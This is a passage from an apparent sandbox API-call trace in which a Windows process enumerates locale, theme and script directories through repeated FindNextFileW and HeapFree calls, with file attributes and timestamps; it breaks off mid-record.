[0273.648] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0273.648] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0273.648] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf081c822, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf081c822, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf081c822, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he-il", cAlternateFileName="")) returned 1 [0273.648] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0273.648] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0273.648] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0273.648] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0273.648] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0273.648] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it-it", cAlternateFileName="")) returned 1 [0273.648] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0273.648] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0273.648] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0273.648] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0273.648] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0273.649] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nb-no", cAlternateFileName="")) returned 1 [0273.649] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0273.649] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0273.649] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0273.649] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0273.649] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0273.649] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-br", cAlternateFileName="")) returned 1 [0273.649] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0273.649] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0273.649] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0273.649] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="root", cAlternateFileName="")) returned 1 [0273.649] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0273.649] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0273.649] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0273.649] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0273.650] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0273.650] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-si", cAlternateFileName="")) returned 1 [0273.650] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0273.650] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0273.650] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0273.650] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv-se", cAlternateFileName="")) returned 1 [0273.650] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0273.650] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0273.650] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0273.650] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0273.650] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0273.650] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0273.650] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0273.650] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0273.651] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0273.651] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0273.651] FindClose (in: hFindFile=0x6eb7f0 | out: hFindFile=0x6eb7f0) returned 1 [0273.651] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0273.651] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 0 [0273.651] FindClose (in: hFindFile=0x6eb770 | out: hFindFile=0x6eb770) returned 1 [0273.651] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0273.651] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="viewer", cAlternateFileName="")) returned 0 [0273.651] FindClose (in: hFindFile=0x64a0d8 | out: hFindFile=0x64a0d8) returned 1 [0273.651] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0273.651] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0273.651] FindClose (in: hFindFile=0x6ebcf0 | out: hFindFile=0x6ebcf0) returned 1 [0273.651] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0273.653] FindNextFileW (in: hFindFile=0x6ebc30, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="walk-through", cAlternateFileName="WALK-T~1")) returned 1 [0273.653] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0273.653] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0273.653] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0273.654] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 1 [0273.654] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0273.654] FindNextFileW (in: hFindFile=0x6ebab0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0273.654] FindClose (in: hFindFile=0x6ebab0 | out: hFindFile=0x6ebab0) returned 1 [0273.654] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0273.654] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0273.654] FindClose (in: hFindFile=0x6ebcb0 | out: hFindFile=0x6ebcb0) returned 1 [0273.654] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0273.654] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0273.655] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0273.655] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0273.655] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0273.655] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0273.655] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0273.655] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0273.655] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0273.655] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0273.655] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0273.655] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0273.655] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0273.655] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0273.656] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0273.656] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | 